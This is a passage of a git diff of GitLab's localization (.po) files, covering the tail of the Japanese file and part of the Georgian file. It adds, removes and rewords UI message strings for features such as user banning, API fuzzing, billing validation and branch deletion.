msgstr "承èªã‚’削除中ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -38022,12 +38789,9 @@ msgstr "承èªè€…"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr "技術的ãªè² å‚µã‚„脆弱性を追加ã—ã¦ã„ã¾ã™ã‹ï¼Ÿ"
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "自動マージã®ã‚­ãƒ£ãƒ³ã‚»ãƒ«"
-
msgid "mrWidget|Check out branch"
msgstr "ブランãƒã®ãƒã‚§ãƒƒã‚¯ã‚¢ã‚¦ãƒˆ"
@@ -38067,9 +38831,6 @@ msgstr "デプロイ統計ã®ãƒ­ãƒ¼ãƒ‰ã«å¤±æ•—ã—ã¾ã—ãŸ"
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "æ—©é€ã‚Šãƒžãƒ¼ã‚¸ã¯ã§ãã¾ã›ã‚“。ã“ã®è¦æ±‚をマージã™ã‚‹ã«ã¯ã€ã¾ãšãƒ­ãƒ¼ã‚«ãƒ«ã‚’ rebase ã—ã¾ã™ã€‚"
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "%{missingBranchName} ブランãƒãŒãƒ­ãƒ¼ã‚«ãƒ«ãƒªãƒã‚¸ãƒˆãƒªã«å­˜åœ¨ã™ã‚‹å ´åˆã¯ã€ã‚³ãƒžãƒ³ãƒ‰ãƒ©ã‚¤ãƒ³ã‚’使用ã—ã¦ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’手動ã§ãƒžãƒ¼ã‚¸ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -38085,12 +38846,18 @@ msgstr "デプロイ統計を読ã¿è¾¼ã¿ä¸­"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "メンション"
msgid "mrWidget|Merge"
msgstr "マージ"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "マージã«å¤±æ•—ã—ã¾ã—ãŸã€‚"
@@ -38489,6 +39256,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr "マージリクエストã®ä½œæˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -38612,6 +39385,9 @@ msgstr "次ã®ã‚¤ã‚·ãƒ¥ãƒ¼"
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆ"
diff --git a/locale/ka_GE/gitlab.po b/locale/ka_GE/gitlab.po
index 21efa53daf1..591b3437d21 100644
--- a/locale/ka_GE/gitlab.po
+++ b/locale/ka_GE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ka\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:18\n"
+"PO-Revision-Date: 2021-06-01 20:34\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
